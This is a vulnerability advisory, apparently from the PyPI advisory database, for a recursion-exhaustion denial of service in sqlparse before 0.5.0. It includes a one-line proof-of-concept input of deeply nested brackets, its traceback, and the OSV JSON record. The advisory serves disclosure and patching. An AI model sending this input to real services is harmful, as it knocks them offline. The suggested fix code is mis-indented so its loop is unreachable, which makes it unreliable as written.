PYSEC-2026-1940

Vulnerability from pysec - Published: 2026-07-07 11:45 - Updated: 2026-07-07 17:25
VLAI
Details

Summary

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC

Running the following code will raise Maximum recursion limit exceeded exception:

import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

We expect a traceback of RecursionError:

Traceback (most recent call last):
  File "trigger_sqlparse_nested_list.py", line 3, in <module>
    sqlparse.parse('[' * 10000 + ']' * 10000)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
    return tuple(parsestream(sql, encoding))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
    stmt = grouping.group(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
    func(stmt)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
    _group_matching(tlist, sql.SquareBrackets)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
    tlist.group_tokens(cls, open_idx, close_idx)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
    grp = grp_cls(subtokens)
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
    super().__init__(None, str(self))
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
    return ''.join(token.value for token in self.flatten())
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
    yield from token.flatten()
  [Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded

Fix suggestion

The flatten() function of TokenList class should limit the recursion to a maximal depth:

from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

    def flatten(self, depth=1):
        """Generator yielding ungrouped tokens.

        This method is recursively called for all child tokens.
        """
    if depth >= MAX_DEPTH:
        raise SQLParseError('Maximal depth reached')
        for token in self.tokens:
            if token.is_group:
                yield from token.flatten(depth + 1)
            else:
                yield token

Impact

Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Impacted products
Name purl
sqlparse pkg:pypi/sqlparse
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sqlparse",
        "purl": "pkg:pypi/sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-4340",
    "GHSA-2m57-hf25-phgg"
  ],
  "details": "### Summary\nPassing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.\n\n### Details + PoC\nRunning the following code will raise Maximum recursion limit exceeded exception:\n```py\nimport sqlparse\nsqlparse.parse(\u0027[\u0027 * 10000 + \u0027]\u0027 * 10000)\n```\nWe expect a traceback of RecursionError:\n```py\nTraceback (most recent call last):\n  File \"trigger_sqlparse_nested_list.py\", line 3, in \u003cmodule\u003e\n    sqlparse.parse(\u0027[\u0027 * 10000 + \u0027]\u0027 * 10000)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py\", line 30, in parse\n    return tuple(parsestream(sql, encoding))\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py\", line 36, in run\n    stmt = grouping.group(stmt)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 428, in group\n    func(stmt)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 53, in group_brackets\n    _group_matching(tlist, sql.SquareBrackets)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 48, in _group_matching\n    tlist.group_tokens(cls, open_idx, close_idx)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 328, in group_tokens\n    grp = grp_cls(subtokens)\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 161, in __init__\n    super().__init__(None, str(self))\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in __str__\n    return \u0027\u0027.join(token.value for token in self.flatten())\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in \u003cgenexpr\u003e\n    return \u0027\u0027.join(token.value for token in self.flatten())\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n    yield from token.flatten()\n  [Previous line repeated 983 more times]\nRecursionError: maximum recursion depth exceeded\n```\n\n### Fix suggestion\nThe [flatten()](https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/sql.py#L207) function of TokenList class should limit the recursion to a maximal depth:\n```py\nfrom sqlparse.exceptions import SQLParseError\n\nMAX_DEPTH = 100\n\n    def flatten(self, depth=1):\n        \"\"\"Generator yielding ungrouped tokens.\n\n        This method is recursively called for all child tokens.\n        \"\"\"\n    if depth \u003e= MAX_DEPTH:\n        raise SQLParseError(\u0027Maximal depth reached\u0027)\n        for token in self.tokens:\n            if token.is_group:\n                yield from token.flatten(depth + 1)\n            else:\n                yield token\n```\n\n### Impact\nDenial of Service (the impact depends on the use).\nAnyone parsing a user input with sqlparse.parse() is affected.\n",
  "id": "PYSEC-2026-1940",
  "modified": "2026-07-07T17:25:25.712554Z",
  "published": "2026-07-07T11:45:38.604193Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-2m57-hf25-phgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/b4a39d9850969b4e1d6940d32094ee0b42a2cf03"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/sqlparse-stack-exhaustion-dos-jfsa-2024-001031292"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/sqlparse"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2m57-hf25-phgg"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse parsing heavily nested list leads to Denial of Service"
}



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